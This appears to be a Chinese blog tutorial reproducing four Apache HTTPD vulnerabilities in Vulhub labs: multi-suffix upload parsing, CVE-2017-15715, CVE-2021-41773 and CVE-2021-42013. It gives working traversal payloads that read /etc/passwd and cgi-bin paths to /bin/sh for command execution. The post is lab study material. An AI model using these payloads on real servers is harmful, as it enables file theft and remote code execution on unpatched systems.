Apache HTTPD 漏洞复现

news2024/9/23 15:22:29

文章目录

  • Apache HTTPD 漏洞复现
    • 1. Apache HTTPD 多后缀解析漏洞
      • 1.1 漏洞描述
      • 1.2 漏洞复现
      • 1.3 漏洞利用
      • 1.4 获取GetShell
    • 2. Apache HTTPD 换行解析漏洞-CVE-2017-15715
      • 2.1 漏洞描述
      • 2.2 漏洞复现
      • 2.3 漏洞利用
    • 3. Apache HTTP Server_2.4.49 路径遍历和文件泄露漏洞-CVE-2021-41773
      • 3.1 漏洞描述
      • 3.2 漏洞复现
      • 3.3 漏洞利用
    • 4. Apache HTTP 服务器 2.4.50 中的路径遍历和文件泄露漏洞-CVE-2021-42013
      • 4.1 漏洞描述
      • 4.2 漏洞复现
      • 4.3 漏洞利用

Apache HTTPD 漏洞复现

1. Apache HTTPD 多后缀解析漏洞

链接地址:Vulhub - Docker-Compose file for vulnerability environment。

1.1 漏洞描述

说明内容
漏洞编号
漏洞名称Apache HTTPD 多后缀解析漏洞
漏洞评级高危
漏洞描述在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。
修复方案打补丁,上设备,升级组件

1.2 漏洞复现

环境启动

image-20230907113621912

访问80端口

image-20230907113808892

1.3 漏洞利用

环境运行起来后访问页面,上传一个文件

image-20230907114121455

显示上传不支持的文件类型

image-20230907114212135

我们可以将文件的后缀名修改为.png的格式来进行上传

image-20230907114320594

显示上传成功,并且显示出来所上传文件的路径。

image-20230907114338754

访问http://your-ip/uploadfiles/wuhu.php.png即可,发现phpinfo被执行了,该文件被解析为php脚本。

image-20230907114514974

http://your-ip/index.php中是一个白名单检查文件后缀的上传组件,上传完成后并未重命名。我们可以通过上传文件名为xxx.php.jpgxxx.php.pngxxx.php.jpeg的文件,利用Apache解析漏洞可以进行getshell。

1.4 获取GetShell

image-20230907115212021

image-20230907115254937

漏洞原因

image-20230907140926769

遇到以.php结尾的文件名后缀,就将其作为php文件执行。也就是所说只要文件后缀名中包含php就将其作为php脚本来执行。

2. Apache HTTPD 换行解析漏洞-CVE-2017-15715

链接地址:Vulhub - Docker-Compose file for vulnerability environment。

2.1 漏洞描述

说明内容
漏洞编号CVE-2017-15715
漏洞名称Apache HTTPD 换行解析漏洞
漏洞评级高危
影响范围2.4.0~2.4.29
漏洞描述Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
修复方案打补丁,上设备,升级组件

2.2 漏洞复现

环境启动

image-20230907152738272

启动后Apache运行在http://your-ip:8080

image-20230907152858609

2.3 漏洞利用

上传一个名为wuhu.php的文件,被拦截:

image-20230907153020635

使用bp抓包查看

image-20230907153241072

先在wuhu.php后面添加一个点,然后修改其十六进制编码形式。

image-20230907153441604

在wuhu.php后面插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A),不再拦截:

image-20230907153718381

然后发包即可

image-20230907153806909

浏览器访问刚才上传的/wuhu.php%0a,发现能够成功解析,但这个文件不是php后缀,说明目标存在解析漏洞:

image-20230907154011583

3. Apache HTTP Server_2.4.49 路径遍历和文件泄露漏洞-CVE-2021-41773

链接地址:Apache HTTP 服务器 2.4.49 中的路径遍历和文件泄露漏洞 (CVE-2021-41773)

3.1 漏洞描述

说明内容
漏洞编号CVE-2021-41773
漏洞名称Apache HTTP 服务器 2.4.49 中的路径遍历和文件泄露漏洞
漏洞评级高危
影响范围2.4.49-2.4.50
漏洞描述在 Apache HTTP Server 2.4.49 中对路径规范化所做的更改中发现一个缺陷。攻击者可以使用路径遍历攻击将 URL 映射到预期文档根目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可以成功。如果还为这些别名路径启用了 CGI 脚本,则可能允许远程执行代码。
修复方案打补丁,上设备,升级组件

3.2 漏洞复现

环境启动

image-20230907155958632

服务器启动后,您通过 .It works!http://your-ip:8080访问页面。

image-20230907160147412

3.3 漏洞利用

一个简单的 CURL 命令来重现漏洞(请注意,必须是现有目录):/icons/

使用bp抓取数据包,然后修改即可。

curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

image-20230907161743094

在服务器上启用 mods cgi 或 cgid 后,此路径遍历漏洞将允许任意命令执行:

cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

image-20230907163748004

4. Apache HTTP 服务器 2.4.50 中的路径遍历和文件泄露漏洞-CVE-2021-42013

链接地址:Vulhub - 用于漏洞环境的 Docker-Compose 文件

4.1 漏洞描述

说明内容
漏洞编号CVE-2021-42013
漏洞名称Apache HTTP 服务器 2.4.50 中的路径遍历和文件泄露漏洞
漏洞评级高危
影响范围2.4.49~2.4.50
漏洞描述CVE-2021-42013 是一个漏洞,由 CVE-2021-41773修复不完整导致,攻击者可以使用路径遍历攻击将 URL 映射到类别名指令配置的目录之外的文件。
修复方案打补丁,上设备,升级组件

4.2 漏洞复现

环境启动

image-20230907164501458

4.3 漏洞利用

Apache HTTP 服务器 2.4.50 修补了以前的 CVE-2021-41773 有效负载,例如 ,但它不完整。

使用bp抓取数据包,然后修改即可。

绕过修补程序(请注意,必须是现有目录):.%%32%65``/icons/

/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

image-20230907164700755

在服务器上启用 mods cgi 或 cgid 后,此路径遍历漏洞将允许任意命令执行:

cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

image-20230907164937559

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/986407.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

字体图标 IcoMoon

字体图标 展示的是图标,本质是字体。 轻量级︰一个图标字体要比一系列的图像要小。一旦字体加载了,图标就会马上渲染出来,减少了服务器请求 灵活性:本质其实是文字,可以很随意的改变颜色、产生阴影、透明效果、旋转等 兼容性:几乎…

MySQL视图用户管理

文章目录 视图视图的规则用户用户信息创建用户删除用户修改密码 用户权限给用户授权回收权限 视图 视图是一个虚拟表,其内容由查询定义。同真实的表一样,视图包含一系列带有名称的列和行数据。视图的数据变化会影响到基表,基表的数据变化也会…

@controller和@RestController的区别

//controller和RestController的区别:RestController的返回值就是结果被输出在浏览器 //controller的返回值会到resources的templates下找 返回值".html" 页面 1.controller 简单的来说,当我们的返回值需要跳转大另一个页面时候,我们就会使…

Jmeter系列-环境部署、详细介绍、安装目录介绍(1)

环境部署 官网下载Jmeter http://jmeter.apache.org/下载最新版本的 JMeter,解压文件到任意目录 安装JDK,配置Java环境 网上教程很多,这里就不详细介绍了 注意:应该避免JDK安装路径,Jmeter路径有中文和空格 配置…

多波束测线问题

多波束测线问题 问题的背景是海洋测深技术,特别是涉及单波束测深和多波束测深系统。这些系统利用声波传播原理来测量水体深度。 单波束测深系统通过向海底发射声波信号并记录其返回时间来测量水深。该系统的特点是每次只有一个波束打到海底,因此数据分布…

SAC算法

SAC算法 全称Soft Actor-Critic算法,为优化目标引入了熵约束项,增大了动作的探索性,避免陷入局部最优解,原论文 继承了Soft Q-Learning提出了Soft Policy Iteration,进而推导了Soft Actor-Critic参数更新时机&#xff…

YOLOV8改进:TripletAttention | 即插即用的轻量级注意力机制

1.该文章属于YOLOV5/YOLOV7/YOLOV8改进专栏,包含大量的改进方式,主要以2023年的最新文章和2022年的文章提出改进方式。 2.提供更加详细的改进方法,如将注意力机制添加到网络的不同位置,便于做实验,也可以当做论文的创新点。 3.涨点效果:TripletAttention,轻量级注意力机…

虹科新闻 | 虹科与LUMATEC正式建立合作伙伴关系

2023年7月,虹科与LUMATEC 正式建立合作伙伴关系,负责该品牌及其产品在大中华地区的销售和售后服务,共同为国内客户提供世界领先的高性能紫外光源产品和先进的液体光导技术。 关于LUMATEC 虹科伙伴LUMATEC公司成立于1976年(总部位…

Linux安装nginx教程

目录 一、Nginx下载 二、安装步骤 1、在 /docker目录下新建 nginx 文件夹 2、将解压包移动到nginx目录下并解压到nginx目录 3、进入 nginx目录,找到 configure 4、运行 configure,命令 5、安装 6、查看根目录 7、进入Nginx目录下的conf文件夹…

利用AOSP的开放特点,国产操作系统将如雨后春笋般涌现,反击谷歌

据了解又一款国产操作系统即将诞生,它初期也将利用AOSP开放的特点,兼容安卓应用,由此AOSP将成为国产操作系统发展的基点,不排除有更多国产手机企业站在巨人AOSP的肩膀上发展完全自主操作系统。 这家企业就是小米,早前有…

css实现滚动条一直显示,并且实现滚动条样式的修改

css实现滚动条一直显示,并且实现滚动条样式的修改 自带的滚动条只有当鼠标移上去的时候才会显示,其他时候隐藏,这样用户很难看出这个是能划动的,这就需要滚动条一直显示在页面上,并且需要按照自己一定的样式去修改。 …

22.0 Pycharm中编写js代码

1. 添加Node.js插件 PyCharm是一款主要用于Python开发的集成开发环境(IDE), 对于JavaScript等其他语言的开发支持相对有限. 如果你主要是进行JavaScript开发, 可能会有更适合的IDE, 如Visual Studio Code、WebStorm等.Node.js是一个基于Chrome V8引擎的JavaScript运行环境, 它…

Cpp/Qtday010906cpp基础

目录 封装一个结构体,结构体中包含一个私有数组,用来存放学生的成绩,包含一个私有变量,用来记录学生个数, 提供一个公有成员函数,void setNum(int num)用于设置学生个数 提供一个公有成员函数&#xff1…

明确企业知识库及知识平台搭建的重要性,开启企业成长之路

在企业运营过程中产生经营数据、管理规范、文化、资料、文档等大量数据,这些数据是花费了大量时间和金钱成本所积累的数据,如果不加以整理总结会造成巨大的浪费。 想要形成结构化、易操作、易利用、易储存、可传承的知识集群,是使用HelpLook在…

异步编程 - 08 Spring框架中的异步执行_TaskExecutor接口和@Async应用篇

文章目录 概述Spring中对TaskExecutor的抽象Spring框架内置的TaskExecutor实现。SimpleAsyncTaskExecutorSyncTaskExecutorConcurrentTaskExecutorSimpleThreadPoolTaskExecutorThreadPoolTaskExecutorTimerTaskExecutor小结 如何在Spring中使用异步执行使用TaskExecutor实现异…

喜讯 | 智安零信任安全项目入选信通院“安全守卫者计划”优秀案例

近日,中国信息通信研究院(以下简称“中国信通院”)主办的首届“SecGo云和软件安全大会”成功举办,会上重磅揭晓了“安全守卫者计划 零信任”优秀案例征集活动结果,深圳市智安网络有限公司与大庆油田信息技术公司联合申…

go小知识2

Golang开发新手常犯的50个错误_gezhonglei2007的博客-CSDN博客 一些题目整理,附带大佬的解释 1.go中哪些值不能寻址& 常量(const常量,字面值3.14,字符串“xxx”,函数或方法, map的val值) golang中接…

Win11怎么显示隐藏文件

为了保护电脑的安全,系统会将一些重要的文件或者文件夹隐藏起来,导致我们无法轻易的找到和打开,那么这些隐藏的文件怎么显示呢,下面小编就给大家带来Win11显示隐藏文件的方法,感兴趣的小伙伴快来和小编一起看看吧。 W…

第六章 图 二、图的存储结构(邻接矩阵法)

我们根据问题来引出邻接矩阵的各种含义: 目录 我们根据问题来引出邻接矩阵的各种含义: 1.如何计算指定顶点的度、入度、出度(分无向图、有向图来考虑)?时间复杂度如何? 2.如何找到与顶点相邻的边(入边、出边&…

laravel框架系列(一),Dcat Admin 安装

介绍 Laravel 是一个流行的 PHP 开发框架,它提供了一套简洁、优雅的语法和丰富的功能,用于快速构建高质量的 Web 应用程序。 以下是 Laravel 的一些主要特点和功能: MVC 架构:Laravel 使用经典的模型-视图-控制器(MV…